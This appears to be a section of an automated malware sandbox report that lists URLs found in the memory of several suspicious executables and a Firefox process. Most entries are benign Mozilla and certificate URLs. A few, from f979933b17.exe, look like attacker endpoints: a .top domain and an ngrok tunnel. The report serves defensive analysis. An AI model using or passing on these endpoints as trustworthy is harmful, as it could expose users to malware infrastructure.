Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATEDforceInheritPrincip
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F8826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F8861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F8826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F8861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsp
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F8826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000002F.00000002.3680740430.00000214FE990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000002F.00000002.3684594631.00000214FFB71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA2B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3640026426.00000214FA374000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3668341106.00000214FDA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3684594631.00000214FFB6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3643693256.00000214FA522000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3663572990.00000214FD63A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3526297302.00000214F89E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3667363200.00000214FD903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3661606046.00000214FD496000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683529789.00000214FFA4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3657197859.00000214FCF6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3661606046.00000214FD4A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3678248900.00000214FE86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3663572990.00000214FD606000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3640026426.00000214FA3EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3668978819.00000214FDB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3678248900.00000214FE883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjsextractScheme/fixupChan
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sScheme
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: file.exe, file.exe, 00000000.00000002.2583880092.000000006F8DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_NOT_ENOUGH_COMMAND_LINE_ARGSSERVICE_STILL_APPLYING_ON_
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3682068235.00000214FEC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002F.00000002.3684594631.00000214FFB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulBookmarkingUI
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulObserver
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-graphi
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/places/browser
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/ExtensionControlled
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ToolbarP
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ContextualIdenti
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ExtensionSetting
Source: file.exe, 00000000.00000002.2582365926.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000002F.00000003.3274859243.00000214FD61E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/wikipedia
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000002F.00000002.3296980698.00000083A17D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676557143.00000214FE613000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE3EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE384000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED0D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000002F.00000002.3677799309.00000214FE750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2326164117.00000000236A9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043696768.0000000005851000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043322210.000000000585A000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127544072.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3127188204.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3258859649.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
